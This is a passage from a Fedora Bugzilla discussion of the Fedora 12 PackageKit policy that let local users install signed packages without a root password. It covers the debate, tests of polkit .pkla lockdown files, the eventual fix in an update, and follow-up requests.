That said, this stupidity can and should be worked around at application (i.e. PackageKit) level. What we can do is to quickly issue a security update which just completely locks this down (i.e. always prompts for the root password) first, then add the possibility to retain authorization as an enhancement update later. The tools we used up to F8 always prompted for the password too, so it's not like this is an impossibility (though it is clearly not ideal, I can see very well why we want to make this simpler, but requiring no authentication at all is definitely not the proper solution).

Comment 189 Adam Williamson 2009-11-19 19:50:24 UTC
comment #186: it's not a 'defence', I'm not defending or attacking this change in this discussion. I'm simply trying to ensure as accurate as possible an evaluation of the change and its potential impacts.

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 190 David Jao 2009-11-19 19:58:07 UTC
(In reply to comment #187)
> Precisely my point.  Richard Hughes hasn't refuted the claims you claim he has.  

In that case, I am indeed wrong about Richard Hughes, but then it means that Richard Hughes *knew about this attack* and *supported the change anyway*, which to me is far worse than what I originally accused him of.

Well, I have nothing more to contribute really. We'll find out on Friday whether the change is reversed.

Comment 191 Luya Tshimbalanga 2009-11-19 20:13:04 UTC
(In reply to comment #181)> 
> @Luya, refer to
> 
> https://www.redhat.com/archives/fedora-desktop-list/2009-October/msg00043.html  

Than you, Rahul. 
I saw this note:
http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html brings clarification. Not sure if it is possible to assign policiy to for specific user to install specific package. A better documentation shoul be included for that scenario,

Comment 192 Rahul Sundaram 2009-11-19 20:19:04 UTC
@Luya, it is already included. read man pklocalauthority and related man page include man 8 polkit. You can set different policies for different users.

Comment 193 Daniel Qarras 2009-11-19 20:53:28 UTC
So if and when any of the hundreds of Fedora packagers goes rogue, he just sneaks in an intentional local exploit in disguise, informs his pals, and then they and their granny have root access to all machines they have a local account - do I understand this correctly?

Comment 194 Steve Peters 2009-11-19 21:04:58 UTC
OK, comments aside... when will the bug fix for this problem be available?

Comment 195 Luya Tshimbalanga 2009-11-19 21:07:23 UTC
(In reply to comment #193)
> So if and when any of the hundreds of Fedora packagers goes rogue, he just
> sneaks in an intentional local exploit in disguise, informs his pals, and then
> they and their granny have root access to all machines they have a local
> account - do I understand this correctly?  

Assuming that scenario, that will be considered criminal because the action is intentional by those fictive Fedora rogue packagers.

 The policy is for packagekit as single desktop user not yum itself that still requires root access. It is only by adding more users policy needs to be manually set. I think it is possible to allow those additional users to only do limited that which is the job of administrator. 

Now that I fully understood the whole topic, I think the documentation about those details was missing until now, see: http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html.

Comment 196 Rahul Sundaram 2009-11-19 21:11:07 UTC
(In reply to comment #194)
> OK, comments aside... when will the bug fix for this problem be available?  

Answered here many times. 

https://bugzilla.redhat.com/show_bug.cgi?id=534047#c170

Comment 197 Need Real Name 2009-11-19 21:12:19 UTC
To go back to a point that is perhaps getting drowned out: this isn't just a security issue.

The assumption that PackageKit existing means that this is a desktop installation is wrong, as is the assumption that all the local users of the machine are competent enough to install software is also wrong.

The default should be secure, just like we use selinux by default.

If the overwhelming opinion is that is intended behaviour, then several things needs to happen:
1. This change needs to be consistent: all tools should require the same level of authentication to do the same thing, whether it be yum, rpm or whatever that pirut thing is now called.
2. The change is wide ranging, and a huge departure from years of known behaviour. It needs to be explained in first boot, perhaps with an opt in, perhaps by choosing a profile for the machine "desktop machine", "server", etc.
3. If we allow users to choose profiles, we need to clearly explain what each of these profiles allow and do not allow, *and allow the sys admin to easily switch between profiles*

I don't see any of this happening in F12, so I vote to revert the change or disable the command not found plugin until it works properly.

Comment 198 Luya Tshimbalanga 2009-11-19 21:15:06 UTC
(In reply to comment #195)
> (In reply to comment #193)
> > So if and when any of the hundreds of Fedora packagers goes rogue, he just
> > sneaks in an intentional local exploit in disguise, informs his pals, and then
> > they and their granny have root access to all machines they have a local
> > account - do I understand this correctly?  
> 
> Assuming that scenario, that will be considered criminal because the action is
> intentional by those fictive Fedora rogue packagers.
> 
>  The policy is for packagekit as single desktop user not yum itself that still
> requires root access. It is only by adding more users policy needs to be
> manually set. I think it is possible to allow those additional users to only do
> limited that which is the job of administrator. 
> 
> Now that I fully understood the whole topic, I think the documentation about
> those details was missing until now, see:
> http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html.  

Note that Fedora only has single user setting on post installation (First boot). What is unfortunately was probably the lack of testday for that new PolicyKit so users should not be caught off-guard.

Comment 199 Steve Peters 2009-11-19 21:18:51 UTC
(In reply to comment #196)
> (In reply to comment #194)
> > OK, comments aside... when will the bug fix for this problem be available?  
> 
> Answered here many times. 
> 
> https://bugzilla.redhat.com/show_bug.cgi?id=534047#c170  

That is not a fix.  That is a work around.  When will RPMs be available to fix this bug?

Comment 200 Ilya Ryabinkin 2009-11-19 21:25:09 UTC
> There's nothing to discuss here. Your problem is that pretending asking for
> root authentication for *local* users in *active* sessions... when installing
> *trusted* software adds security is... well.. only a sign of dogma, snakeoil
> and ignorance when it comes to providing a secure system.

The problem is that non-priviliged user can, accidentally or intentionally, cause /var partition overflow, abuse package manager or lock a database previnting it from root intervention. The policy that unpriviliged used cannot affect any part of the system except his /home catalor is violated by this decision. Please, consider a public discussion of that change!

Comment 201 Adam Williamson 2009-11-19 21:27:55 UTC
comment #199: when it's decided that the default policy should be changed. If that happens. See, again, the bit about how this is being discussed at tomorrow's FESco meeting, which is where such a decision would be taken.

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 202 eric 2009-11-19 22:39:00 UTC
I just tried the instructions in the RN (http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html) but it still allowed me to install a package without providing any authentication.  Can someone verify these latest instructions, please?

Comment 203 Luya Tshimbalanga 2009-11-19 22:55:04 UTC
(In reply to comment #202)
> I just tried the instructions in the RN
> (http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html)
> but it still allowed me to install a package without providing any
> authentication.  Can someone verify these latest instructions, please?  

Try to use a third-party package and see if authentification will appear.

Comment 204 eric 2009-11-19 23:12:52 UTC
(In reply to comment #203)
> (In reply to comment #202)
> > I just tried the instructions in the RN
> > (http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html)
> > but it still allowed me to install a package without providing any
> > authentication.  Can someone verify these latest instructions, please?  
> 
> Try to use a third-party package and see if authentification will appear.  

Yep, I was able to install a package from the RPM Fusion repo without authenticating.

Comment 205 Kevin Kofler 2009-11-19 23:15:20 UTC
> Try to use a third-party package and see if authentification will appear.

That's not the point. The point of the instructions are that they should make PackageKit ask for authorization before installing ANY package. So if you can install anything without a prompt, the instructions are not working.

Comment 206 eric 2009-11-19 23:22:12 UTC
So the Release Notes (and Security Guide) are missing the very last line.  I changed my file and rebooted and was still able to install a font using PackageKit without authenticating.

I'm using:
[NoUserSignedInstall]
Identity=unix-user:*
Action=org.freedesktop.packagekit.package-install
ResultAny=no
ResultInactive=no
ResultActive=auth_admin_keep

and that file is located at:
/var/lib/polkit-1/localauthority/20-org.d

So the fix is not working.

Comment 207 Adam Williamson 2009-11-19 23:36:35 UTC
it's already been pointed out that the auth_admin_keep policy no longer exists in PK 1.

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 208 Kevin Kofler 2009-11-19 23:44:39 UTC
So it should be just auth_admin instead? This recently got edited in the instructions, apparently incorrectly.

(What has been pointed out doesn't exist anymore is auth_admin_keep_always, but I guess auth_admin_keep was removed too, there's just one kind of auth_admin now.)

Comment 209 Adam Williamson 2009-11-19 23:58:56 UTC
as I understand it from davidz/hughsie, yeah, that's the current state, the keep methods are all gone. i'm sure they'll correct me if i'm wrong...

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 210 Jason Roysdon 2009-11-20 00:06:06 UTC
Confirming adding the following doesn't working:

To file: /var/lib/polkit-1/localauthority/20-org.d/anythingyouwant

[NoUserSignedInstall]
Identity=unix-user:*
Action=org.freedesktop.packagekit.package-install
ResultAny=no
ResultInactive=no

Temporary work-around until the real long-term solution is posted:
pklalockdown --lockdown org.freedesktop.packagekit.package-install

to remove this lockdown run:
pklalockdown --remove-lockdown org.freedesktop.packagekit.package-install

This works instantly, no reboot needed.  However, this method is said to be getting removed in the next version.

Comment 211 Chris Snook 2009-11-20 00:07:19 UTC
So, because the auth_admin_keep* methods were considered somewhat insecure and removed, PackageKit just decided to not bother with authorization at all?  Following this logic, we might as well make passwordless login and passwordless sudo the default, since passwords are somewhat insecure.

Comment 212 Luya Tshimbalanga 2009-11-20 00:07:20 UTC
(In reply to comment #205)
> > Try to use a third-party package and see if authentification will appear.
> 
> That's not the point. The point of the instructions are that they should make
> PackageKit ask for authorization before installing ANY package. So if you can
> install anything without a prompt, the instructions are not working.  

Any signed package from that trusted repository to be precise. Try to use a package on which you have not imported key from repository or package external from those trusted repository.

(In reply to comment #204)
> (In reply to comment #203)
> > (In reply to comment #202)
> > > I just tried the instructions in the RN
> > > (http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html)
> > > but it still allowed me to install a package without providing any
> > > authentication.  Can someone verify these latest instructions, please?  
> > 
> > Try to use a third-party package and see if authentification will appear.  
> 
> Yep, I was able to install a package from the RPM Fusion repo without
> authenticating.  

Because you have trusted RPM Fusion having already imported its key thus the policy is correct. Now try to install package from repository that has not its imported key or a package external from trusted repository.

Comment 213 Kevin Kofler 2009-11-20 00:15:46 UTC
You are still missing the point. Installing an unsigned package ALREADY requires admin authentication! The point of the policy change documented in the release notes is to make installing SIGNED packages require admin authentication, as opposed to the default policy which is exactly what you describe and what this bug is about!

Comment 214 Adam Williamson 2009-11-20 00:17:12 UTC
luya (comment #212), you seem to be confused. People are testing the published workaround which is intended to change this policy so that 'trusted' package installation is *NOT* done without authentication. the problem they're encountering is that the change advised in the release notes does not seem to work.

chris (comment #211), no, that's a misunderstanding. The two are not directly related in that way. The policy change was an intentional design. The initial discussion of this change can be found at http://thread.gmane.org/gmane.comp.freedesktop.packagekit/2611 (note the date).

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 215 Simo Sorce 2009-11-20 00:25:33 UTC
(In reply to comment #210)
> Confirming adding the following doesn't working:
> 
> To file: /var/lib/polkit-1/localauthority/20-org.d/anythingyouwant
> 
> [NoUserSignedInstall]
> Identity=unix-user:*
> Action=org.freedesktop.packagekit.package-install
> ResultAny=no
> ResultInactive=no
> 
> Temporary work-around until the real long-term solution is posted:
> pklalockdown --lockdown org.freedesktop.packagekit.package-install
> 
> to remove this lockdown run:
> pklalockdown --remove-lockdown org.freedesktop.packagekit.package-install
> 
> This works instantly, no reboot needed.  However, this method is said to be
> getting removed in the next version.  

Jason,
the filename must be something like:

10-my-policy.pkla

the .pkla is fundamental

Comment 216 Kevin Kofler 2009-11-20 00:26:28 UTC
Re: Comment #214 From Adam Williamson

But "PolicyKit does not support auth_admin_keep_always anymore" was one of the excuses the maintainer used to justify the change and in any case it makes it harder to go back to the existing working policy from previous Fedora releases, so I do see this as having some relevancy.

Comment 217 Michał Piotrowski 2009-11-20 00:30:34 UTC
(In reply to comment #199)
> (In reply to comment #196)
> > (In reply to comment #194)
> > > OK, comments aside... when will the bug fix for this problem be available?  
> > 
> > Answered here many times. 
> > 
> > https://bugzilla.redhat.com/show_bug.cgi?id=534047#c170  
> 
> That is not a fix.  That is a work around.  When will RPMs be available to fix
> this bug?  

+1

Comment 218 Bojan Smojver 2009-11-20 00:33:55 UTC
(In reply to comment #215)
> the filename must be something like:
> 
> 10-my-policy.pkla
> 
> the .pkla is fundamental  

Could you please change the instructions here then: http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html

Comment 219 Bojan Smojver 2009-11-20 00:39:00 UTC
(In reply to comment #212)

> Because you have trusted RPM Fusion having already imported its key thus the
> policy is correct.  

When you say "you", do you mean "the administrator" or "the user" trusted this repository?

If the former (which should probably be the only correct behaviour), this should still not imply that a blanket permission is given to all users to install anything they want from that source.

Comment 220 Erik Zeek 2009-11-20 00:42:23 UTC
(In reply to comment #214)
> 
> chris (comment #211), no, that's a misunderstanding. The two are not directly
> related in that way. The policy change was an intentional design. The initial
> discussion of this change can be found at
> http://thread.gmane.org/gmane.comp.freedesktop.packagekit/2611 (note the date).
> 

I've looked over that thread quickly, and noted three things.

1) There's no discussion of making this the the default policy, only making it possible.

2) There's only two people commenting in the entire thread.

3) The mailing list is not a *Fedora* list.

Comment 221 Chris Snook 2009-11-20 00:43:14 UTC
(In reply to comment #212)
> (In reply to comment #205)
> > > Try to use a third-party package and see if authentification will appear.
> > 
> > That's not the point. The point of the instructions are that they should make
> > PackageKit ask for authorization before installing ANY package. So if you can
> > install anything without a prompt, the instructions are not working.  
> 
> Any signed package from that trusted repository to be precise. Try to use a
> package on which you have not imported key from repository or package external
> from those trusted repository.
> 
> (In reply to comment #204)
> > (In reply to comment #203)
> > > (In reply to comment #202)
> > > > I just tried the instructions in the RN
> > > > (http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html)
> > > > but it still allowed me to install a package without providing any
> > > > authentication.  Can someone verify these latest instructions, please?  
> > > 
> > > Try to use a third-party package and see if authentification will appear.  
> > 
> > Yep, I was able to install a package from the RPM Fusion repo without
> > authenticating.  
> 
> Because you have trusted RPM Fusion having already imported its key thus the
> policy is correct. Now try to install package from repository that has not its
> imported key or a package external from trusted repository.  

The policy is idiotic.  There's all kinds of obscure shit in Everything that I've never even heard of and don't trust and don't want on my computer without first looking into it.  Just because they happen to be in the same repository as firefox, kernel, and a couple hundred other packages with extremely wide testing exposure doesn't mean I trust them.

I import the Fedora signing key so I can be reasonably confident that the http mirror I'm downloading packages from hasn't been hijacked by the Russian mafia.  It does not imply that I unconditionally trust everything in the repository to not mess up my system.

After getting sound working properly on my HTPC, I need my girlfriend accidentally installing pulseaudio via a browser plugin dependency through the packagekit browser plugin like I need a hole in my head.  I haven't gone out of my way to make things insecure, so it's not an admin misconfiguration, and she's not an idiot, she's just not a Fedora developer intimately aware of the implications of these things, so that's not even user error.  That's a bug in the default policy.  If some people want a different policy, I'd be delighted to see a config tool and a firstboot screen that allows them to set this, but we should be secure by default.

Comment 222 eric 2009-11-20 00:45:48 UTC
(In reply to comment #218)
> (In reply to comment #215)
> > the filename must be something like:
> > 
> > 10-my-policy.pkla
> > 
> > the .pkla is fundamental  
> 
> Could you please change the instructions here then:
> http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html  

In progress.

Comment 223 Adam Williamson 2009-11-20 00:46:11 UTC
comment #217: you could at least try reading the replies to the comment you +1'ed.

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 224 Andrew Gormanly 2009-11-20 00:52:20 UTC
(In reply to comment #211)
> So, because the auth_admin_keep* methods were considered somewhat insecure and
> removed, PackageKit just decided to not bother with authorization at all? 
> Following this logic, we might as well make passwordless login and passwordless
> sudo the default, since passwords are somewhat insecure.  

Isn't this a great idea?  We could even do away with separation of privileges altogether for F13.  Then clueless desktop users wouldn't have the hassle of having to authenticate at all.  That way Fedora is more user-friendly than Windows.  Yay.

(In reply to comment #215)
"name it anything you want" from the release notes does not square with "the .pkla is fundamental".

Tell you what: those who made this stupid change, put the default it back the way it should be, then you can supply as many sets of broken instructions as you like to those 5 people who want your insecure new arrangement.

That this is the most voted-for bug ever by a massive margin of 295% and there have only been 4 other bugs with more than a tenth of this one's votes should be a pretty clear indication that this is wrong.  It's a bug in the thought process of the maintainers, which shows up a bug in the security processes of the distro.

Comment 225 Bojan Smojver 2009-11-20 00:55:03 UTC
(In reply to comment #222)

> In progress.  

Thank you.

Comment 226 Luya Tshimbalanga 2009-11-20 00:57:37 UTC
Administrator(In reply to comment #219)
> (In reply to comment #212)
> 
> > Because you have trusted RPM Fusion having already imported its key thus the
> > policy is correct.  
> 
> When you say "you", do you mean "the administrator" or "the user" trusted this
> repository?
 
 
Both with the current policy. When you have downloaded package containing repository URL, you will be asked to administration authentification (root in this example). That scenario has already installed that repository thus already installed import key thus trusted it.

> If the former (which should probably be the only correct behaviour), this
> should still not imply that a blanket permission is given to all users to
> install anything they want from that source. 

I agree with that point due to the lack of documentation about that behaviour which should clarify the change.

Comment 227 eric 2009-11-20 01:04:14 UTC
(In reply to comment #215)
> (In reply to comment #210)
> > Confirming adding the following doesn't working:
> > 
> > To file: /var/lib/polkit-1/localauthority/20-org.d/anythingyouwant
> > 
> > [NoUserSignedInstall]
> > Identity=unix-user:*
> > Action=org.freedesktop.packagekit.package-install
> > ResultAny=no
> > ResultInactive=no
> > 
> > Temporary work-around until the real long-term solution is posted:
> > pklalockdown --lockdown org.freedesktop.packagekit.package-install
> > 
> > to remove this lockdown run:
> > pklalockdown --remove-lockdown org.freedesktop.packagekit.package-install
> > 
> > This works instantly, no reboot needed.  However, this method is said to be
> > getting removed in the next version.  
> 
> Jason,
> the filename must be something like:
> 
> 10-my-policy.pkla
> 
> the .pkla is fundamental  

Still didn't work.  Here is my current file.

[root@desk 20-org.d]# cat NoUserSignedInstall.pkla 
[NoUserSignedInstall]
Identity=unix-user:*
Action=org.freedesktop.packagekit.package-install
ResultAny=no
ResultInactive=no

It is located at /var/lib/polkit-1/localauthority/20-org.d

Comment 228 Kevin Kofler 2009-11-20 01:20:45 UTC
Try adding the:
ResultActive=auth_admin
line?

Comment 229 Kevin Kofler 2009-11-20 01:23:20 UTC
> > http://thread.gmane.org/gmane.comp.freedesktop.packagekit/2611 (note the
> > date).
> 2) There's only two people commenting in the entire thread.

Incidentally, those very same 2 people who are now responsible for this mess (David Zeuthen does not support auth_admin_keep_always in PolicyKit 1, which is one of the contributing factors to this mess, Richard Hughes is the PackageKit maintainer and thus the one who made the decision).

Comment 230 eric 2009-11-20 02:04:29 UTC
Okay, this works!

[root@desk 20-org.d]# cat NoUserSignedInstall.pkla 
[NoUserSignedInstall]
Identity=unix-user:*
Action=org.freedesktop.packagekit.package-install
ResultAny=no
ResultInactive=no
ResultActive=auth_admin

Comment 231 eric 2009-11-20 02:04:29 UTC
Release note updated. If any revisions are required, please set the 
"requires_release_notes"  flag to "?" and edit the "Release Notes" field accordingly.
All revisions will be proofread by the Engineering Content Services team.

Diffed Contents:
@@ -1,17 +1,8 @@
-Diffed Contents:
-@@ -8,9 +8,9 @@
-     Go to /var/lib/polkit-1/localauthority/20-org.d and create a file (name it
-     anything you want) and the content should be
+file must end with ".pkla" and contain:
 
--    [NoUsersInstallAnythingWithoutPassword]
+[NoUserSignedInstall]
-+    [NoUserSignedInstall]
+Identity=unix-user:*
--    Identity=unix-user:someone;unix-user:someone_else
+Action=org.freedesktop.packagekit.package-install
-+    Identity=unix-user:*
+ResultAny=no
--    Action=org.freedesktop.packagekit.*
+ResultInactive=no
-+    Action=org.freedesktop.packagekit.package-install
+ResultActive=auth_admin--    ResultAny=auth_admin
-+    ResultAny=no
--    ResultInactive=auth_admin
-+    ResultInactive=no
--    ResultActive=auth_admin
-+    ResultActive=auth_admin_keep

Comment 232 Stewart Adam 2009-11-20 02:39:14 UTC
I'm sorry if this has already been mentioned, I haven't read all of the 100+ posts on the mailing list and the 230+ ones here but...

Have we considered implementing a simple user role mechanism? If we apply a single set of rules to all users then inevitably there are going to be conflicts. The desktop owners will say it's user unfriendly, and changing rules will have the administrators of multi-user machines say it's insecure.

I think that both are right, which is why we /shouldn't/ be trying to apply the same rules to all users. We should create an "Administrators" system group and give access to members of that group to install signed packages without a password. Firstboot could setup the first user to be the initial member of the "Administrator". If you're the only user of the machine, it all works and you're happy. If the machine is going to be setup as multi-user, then only person who initially configured the machine (who we can only assume is the sysadmin) will have access unless they extend that permission to others.

Comment 233 Nathan Oosthuizen 2009-11-20 02:57:35 UTC
(In reply to comment #232)

I totally agree with this.  If you want this functionality, putting it in a specific groups domain is the right idea!

Suggestion - Call the group "Idiots" :P

But Seriously, I think this is the most elegant solution yet.  It gives fine grain control over the whole process, and the admin of the machine can decide which users can have this sort of power.  It should not be a default group though!

Comment 234 Stewart Adam 2009-11-20 03:02:40 UTC
(In reply to comment #233)
> But Seriously, I think this is the most elegant solution yet.  It gives fine
> grain control over the whole process, and the admin of the machine can decide
> which users can have this sort of power.  It should not be a default group
> though!  
It also has potential in other areas, for example I remember a while back there was debate concerning the setroubleshoot (or was it kerneloops?) applet and if we should be showing alerts with diagnostic information to regular/non-admin users. With user roles figuring that part out would be simple too.

Comment 235 Scott Robbins 2009-11-20 03:07:21 UTC
Errm, reinventing the wheel?  (Pun intended.)

Comment 236 Jeff Garzik 2009-11-20 03:57:00 UTC
The following was posted to fedora-devel by Owen Taylor:
http://www.redhat.com/archives/fedora-devel-list/2009-November/msg01445.html

with the conclusion

"After talking things through a bit, the consensus was that we need to
take a course that's conservative for Fedora 12. To do something that 
is safe for almost all uses of Fedora, if a bit less convenient.
[...]
We'll make an update to the F12 PackageKit, so that the root password is
required to install packages."

Comment 237 Nathan Oosthuizen 2009-11-20 04:23:14 UTC
(In reply to comment #236)

Fantastic ... Maybe I will burn that ISO after all.  I think the GUI mentioned in the mail is a great idea.  Looking forward to that.  Thanks all for coming to consensus and a way forward.

Comment 238 Denny Crane 2009-11-20 04:28:51 UTC
Thanks for the update.

This seems like a reasonable course to take, but of course is a step backward from the options available in the previous release. I am not sure about the technical details of the new PolicyKit release, but it is just slightly confusing that the new feature was supposed to be a GUI configuration utility -- which seems to have already existed in previous releases, but was removed in F12. On my F11 system, I need only go to System->Preferences->Authorizations, and the specific option applicable to this bug is under org->freedesktop->packagekit->Install signed package.

Comment 239 Rahul Sundaram 2009-11-20 04:41:27 UTC
@238,  #181 already has a reference with more details.

Comment 240 Fedora Update System 2009-11-20 09:14:14 UTC
PackageKit-0.5.4-0.4.20091029git.fc12 has been submitted as an update for Fedora 12.
http://admin.fedoraproject.org/updates/PackageKit-0.5.4-0.4.20091029git.fc12

Comment 241 Comsoft GmbH (MIB) 2009-11-20 12:56:14 UTC
As a long-time Fedora user, I appreciate the commitment and dedication to the community shown by the volunteers Fedora and Redhat. I would like to continue my level of trust in these open, transparent processes.
Kudos to Robin R. Price II for opening up his comment #56, which clearly shows that he cares about this transparency like most of us do.

But, could the owners of the following comments please also open their comments, in the interests of transparency and restoring trust: #33, 48, 49, 51, 54, 57, 60, 83, 88, 102, 128 ?

As long as this large majority are not shared, I feel of some loss of trust.

Comment 242 Piotrek Juźwiak 2009-11-20 13:50:36 UTC
I would mark it as fine, why??

If you give rights to some users on a local machine then you also set some rights for him right? You just don't create an user and voila my work here is done. If the person has a local access then that person already has more power than simple installing from active session and only signed repositories. Simple live CD would suffice to create chaos and that plugin will not make it worse on the other side i wouldn't want everyone install anything without administrator's consent. I guess the default should be not to allow this but not from the security standpoint as it is just fine (it still asks for password if not from active session or not local right? ) so i don't understand why is everyone crying about.

Comment 243 Daniel Walsh 2009-11-20 15:22:24 UTC
Why do you think a malicious user is trying to do something?  The problem with this is the user can be either ignorant or oblivious or the situation.  Yes a malicious user that touches a box can boot the machine in single user mode or boot a livecd to take it over. The problem here is a non Malicious user will install software if prompted by the system, as Windows has proven through the years.  Never mind that but the tool itself, Firefox, can be fooled into installing software by a rogue web site.  That is the problem, not being able to physically touch the box.

Comment 244 Brian Dudek 2009-11-20 16:21:21 UTC
I don’t not like the idea of having my desktop users be able to install packages, signed or not.  But for my ‘power users’ on occasion it would be nice for them to update existing software for bug fixes.  Maybe some extension to the GUI where the user could do the equivalent of “yum --bug update” or “yum --security update” by some mechanism of the yum-security plugin?

Comment 245 Adam Williamson 2009-11-20 17:50:08 UTC
Well, now we have so many people paying such close attention to this bug ;), it's time for people to test the update:

http://admin.fedoraproject.org/updates/PackageKit-0.5.4-0.4.20091029git.fc12

please confirm that it correctly addresses the issue, and provide your feedback to that location. Note that there's a 'Login' link at the bottom of the blue bar to the left of the page, you can log in with FAS credentials there so your feedback will be properly attributed. Otherwise it will run you through a captcha and your feedback will be from 'Anonymous Tester'.

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 246 Fedora Update System 2009-11-20 22:41:53 UTC
PackageKit-0.5.4-0.4.20091029git.fc12 has been pushed to the Fedora 12 testing repository.  If problems still persist, please make note of it in this bug report.
 If you want to test the update, you can install it with 
 su -c 'yum --enablerepo=updates-testing update PackageKit'.  You can provide feedback for this update here: http://admin.fedoraproject.org/updates/F12/FEDORA-2009-11882

Comment 247 Pat Kane 2009-11-21 00:08:28 UTC
Thank you.  

I am looking forward to a F12 re-spin, or F13 whichever comes first.

Comment 248 Jazbo 2009-11-21 02:01:59 UTC
Thanks, I am glad this issue will be resolved!

Comment 249 cornel panceac 2009-11-21 03:50:22 UTC
thank you very much, now it asks for password so the security issue is gone. however, compared to f11 it's a small usability regression since there's no more an option to "remember authorization forever/for this session". also, considering the security impact, it would be great if fedoraproject releases updated install media not affected by this issue. thanks again.

Comment 250 Richard Hughes 2009-11-21 13:51:42 UTC
*** Bug 539742 has been marked as a duplicate of this bug. ***

Comment 251 Simo Sorce 2009-11-21 14:56:35 UTC
(In reply to comment #246)
> PackageKit-0.5.4-0.4.20091029git.fc12 has been pushed to the Fedora 12 testing
> repository.  If problems still persist, please make note of it in this bug
> report.
>  If you want to test the update, you can install it with 
>  su -c 'yum --enablerepo=updates-testing update PackageKit'.  You can provide
> feedback for this update here:
> http://admin.fedoraproject.org/updates/F12/FEDORA-2009-11882  

New packages resolve this issue.
Thank you for the prompt resolution.

Comment 252 Adam Williamson 2009-11-21 16:29:48 UTC
cornel: there's no reason we would do that. If you install any Fedora release and leave it unpatched, you will be subject to far more serious security issues than this.

-- 
Fedora Bugzappers volunteer triage team
https://fedoraproject.org/wiki/BugZappers

Comment 253 Andrew Gormanly 2009-11-21 22:35:02 UTC
All is good now, thank you.

Comment 254 Pat Kane 2009-11-22 03:27:15 UTC
(In reply to comment #252)
 > cornel: there's no reason we would do that.=

The main reason to "do that" is to save the Fedora project.

F12 is dead.

Comment 255 Andrew Vandever 2009-11-22 04:55:37 UTC
> (In reply to comment #254)
> (In reply to comment #252)
>  > cornel: there's no reason we would do that.=
> 
> The main reason to "do that" is to save the Fedora project.
> 
> F12 is dead.  

I think that's overly dramatic. Now all the people who don't install patches but still claim to be security conscious will stick with F11. Wow. There must be, maybe, two of those people.

Comment 256 Chris Snook 2009-11-22 07:47:23 UTC
(In reply to comment #254)
> (In reply to comment #252)
>  > cornel: there's no reason we would do that.=
> 
> The main reason to "do that" is to save the Fedora project.
> 
> F12 is dead.  

The original policy is only a problem once root has imported the GPG key for the repository, so it can only happen after you first apply updates.  If you install a new Fedora 12 system, and then apply security updates on boot, you close the hole, which isn't is bad as many other things we haven't re-spun for, the moment you open it.

If you really want a respin, you're quite welcome to do it yourself.  Revisor is ridiculously easy to use.

Comment 257 Davide Cescato 2009-11-22 20:24:36 UTC
PackageKit-0.5.4-0.4.20091029git.fc12 fixes this bug.

However, consider this quote from Owen Taylor's e-mail
https://www.redhat.com/archives/fedora-devel-list/2009-November/msg01445.html
(with emphasis added)
---
Probably the most important one is a bit obvious in hindsight: Fedora is
used on a wide variety of systems, and in some of those - like a shared
home system with parents and young children, or like a computer lab
system - *** there are some users who shouldn't be able to change what is
installed on the system. *** Even if installing those packages isn't a
security hole.
---

If the text in emphasys is to be taken literally (and I think it is appropriate to do so), then the current policy should be changed to restrict local users not only from installing but also from *updating* software.

On the machine I maintain there are currently a couple of updates that I do not want to carry out, since I know that they lead to regressions or undesired side effects. I can as well think of an administrator who only want to perform security updates, or of an administrator who prefer to pick updates selectively. In such cases, a local user who performs all available updates effectively "spoils" the administrator's work.

This would be a separate issue, so it would require a new bug to be filed, but since it is so tightly connected with this bug, I found it appropriate to post my comment here.

Comment 258 Fedora Update System 2009-11-24 07:32:01 UTC
PackageKit-0.5.4-0.4.20091029git.fc12 has been pushed to the Fedora 12 stable repository.  If problems still persist, please make note of it in this bug report.

Comment 259 Karl 2010-03-02 20:53:42 UTC
(In reply to comment #257)
> PackageKit-0.5.4-0.4.20091029git.fc12 fixes this bug.
> 
> However, consider this quote from Owen Taylor's e-mail
> https://www.redhat.com/archives/fedora-devel-list/2009-November/msg01445.html
> (with emphasis added)
> ---
> Probably the most important one is a bit obvious in hindsight: Fedora is
> used on a wide variety of systems, and in some of those - like a shared
> home system with parents and young children, or like a computer lab
> system - *** there are some users who shouldn't be able to change what is
> installed on the system. *** Even if installing those packages isn't a
> security hole.
> ---
> 
> If the text in emphasys is to be taken literally (and I think it is appropriate
> to do so), then the current policy should be changed to restrict local users
> not only from installing but also from *updating* software.
> 
> On the machine I maintain there are currently a couple of updates that I do not
> want to carry out, since I know that they lead to regressions or undesired side
> effects. I can as well think of an administrator who only want to perform
> security updates, or of an administrator who prefer to pick updates
> selectively. In such cases, a local user who performs all available updates
> effectively "spoils" the administrator's work.
> 
> This would be a separate issue, so it would require a new bug to be filed, but
> since it is so tightly connected with this bug, I found it appropriate to post
> my comment here.    

This suggestion is addressed in Bug #568074.

Comment 260 Valent Turkovic 2010-03-08 19:54:25 UTC
How to enable installing packages without root password in Fedora 12?

I would like to have this feature enabled. Thank you.

Comment 261 Valent Turkovic 2010-03-08 19:57:42 UTC
also this documentation is wrong:
http://docs.fedoraproject.org/release-notes/f12/en-US/html/sect-Release_Notes-Security.html


Note You need to log in before you can comment on or make changes to this bug.